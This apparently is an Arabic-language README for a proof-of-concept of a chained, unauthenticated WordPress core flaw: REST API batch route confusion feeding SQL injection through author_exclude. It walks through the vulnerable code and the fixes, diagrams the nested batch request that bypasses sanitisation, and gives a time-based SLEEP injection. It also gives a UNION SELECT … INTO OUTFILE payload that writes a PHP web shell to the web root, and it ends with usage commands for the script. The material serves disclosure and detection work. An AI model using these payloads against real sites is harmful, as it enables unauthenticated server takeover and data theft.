
ثغرة RCE قبل المصادقة في نواة ووردبريس عبر الالتباس في مسار دُفعات REST API + ثغرة SQLi في WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC للكشف.
قبل المصادقة — بدون مصادقة — ولا يتطلب أي إضافات. يعمل ضد تثبيت WordPress افتراضي عبر نقطة نهاية الدُفعات في REST API.
| CVE | CVE-2026-63030 (التباس المسار → RCE) + CVE-2026-60137 (حقن SQL) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| المكتشف | Adam Kues — Assetnote / Searchlight Cyber (أُطلق عليها اسم "wp2shell") |
| الإصدارات المتأثرة | WordPress 6.9.0 – 6.9.4، 7.0.0 – 7.0.1 (سلسلة RCE كاملة) · 6.8.0 – 6.8.5 (حقن SQL فقط) |
| الإصدار المُصحَّح | 6.8.6، 6.9.5، 7.0.2، 7.1-beta2 |
| CVSS | حرِج (سلسلة RCE) / متوسط (حقن SQL منفردًا) |
| مدوّنة الباحث | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
ثغرتان في نواة WordPress، يمكن ربطهما معًا لتحقيق تنفيذ تعليمات برمجية عن بُعد بدون مصادقة:
WP_Query عندما تكون author__not_in نصًا (string) بدلاً من مصفوفة (array) — يتم تخطّي حارس التنقية is_array() ويتم إقحام القيمة الخام في جملة NOT IN (...).WP_REST_Server::serve_batch_request_v1() — يتم دفع الطلبات الفرعية من نوع WP_Error إلى $validation[] ولكن ليس إلى $matches[]، مما يسبب إزاحة مؤشر بمقدار +1. ونتيجةً لذلك، يتم إرسال الطلب الفرعي i مع معالج الطلب الفرعي i+1.لا تكفي أي من الثغرتين بمفردها: فـ REST API ينقّي author_exclude (type: array, items: integer) قبل وصوله إلى WP_Query، كما أن نقطة نهاية الدُفعات ترفض الطلبات الفرعية من نوع GET (enum: POST, PUT, PATCH, DELETE). وربطهما معًا عبر التباس مزدوج يتجاوز كلا الدفاعين ويصل إلى حقن SQL بدون مصادقة.
src/wp-includes/class-wp-query.php (CVE-2026-60137)الإصدار المصاب (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
عندما تكون author__not_in نصًا، يتم تخطّي فرع is_array()؛ وتُقيَّم (array) "payload" إلى ["payload"]؛ وتُعيد implode(',', ...) النص الخام الذي يُقحَم مباشرةً في استعلام SQL.
الإصلاح (6.9.5): استخدام wp_parse_id_list() التي تقبل أي شكل من أشكال الإدخال وتُعيد قائمة أعداد صحيحة منقّاة.
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
طلب فرعي واحد من نوع WP_Error (مثل مسار غير صالح) في الموضع 0 يُزيح كل الإدخالات التالية بمقدار واحد. وعندها يُرسَل الطلب i مع معالج الطلب i+1.
الإصلاح (6.9.5): إلحاق $matches[] = $single_request; في حالة الخطأ أيضًا. كما يضيف تحصين إضافي (hardening) توقّفًا مبكرًا لـ rest_api_loaded() / serve_request() بينما يكون الإرسال قيد التنفيذ بالفعل.
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
جزء SQL الناتج هو:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
يتم تنفيذ SLEEP(N) مرة واحدة لكل صف مقالة مطابق، لذا يكون التأخير الإجمالي حوالي N × <عدد_المقالات_المنشورة> ثانية.
حقن SELECT فقط (بدون استعلامات متراصة (stacked queries)، إذ يستخدم $wpdb الدالة mysqli_query) ما زال يحقق RCE على حزم LAMP النموذجية عندما يمتلك مستخدم MySQL صلاحية FILE — وهو الإعداد الافتراضي لدى العديد من مزوّدي الاستضافة المشتركة والخوادم المُدارة ذاتيًا:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
يكتب قشرة ويب PHP في جذر الويب، يمكن الوصول إليها عبر /x.php.
تشمل المسارات البديلة (بدون الحاجة إلى صلاحية FILE) قراءة تجزئة كلمة مرور المدير عبر حقن SQL أعمى بـ UNION/منطقي (boolean) وتحميل إضافة خبيثة من خلال واجهة لوحة الإدارة المُوثَّقة.
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
ينفّذ إثبات المفهوم اختبارين غير مُدمِّرين:
| الاختبار | الطريقة | آمن؟ |
|---|---|---|
| التباس المسار (CVE-2026-63030) | بنيوي — يتحقق من أن الطلب الفرعي الداخلي [1] (categories) يُرسَل مع معالج المقالات (posts) عبر فحص جسم الاستجابة بحثًا عن حقول خاصة بالمقالات فقط | نعم |
| حقن SQL (CVE-2026-60137) | أعمى زمني — يحقن SLEEP(N) عبر author_exclude ويقيس زمن الاستجابة مقارنةً بخط أساس سليم | نعم |
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
مثال على المخرجات ضد نسخة 6.9.4 مصابة: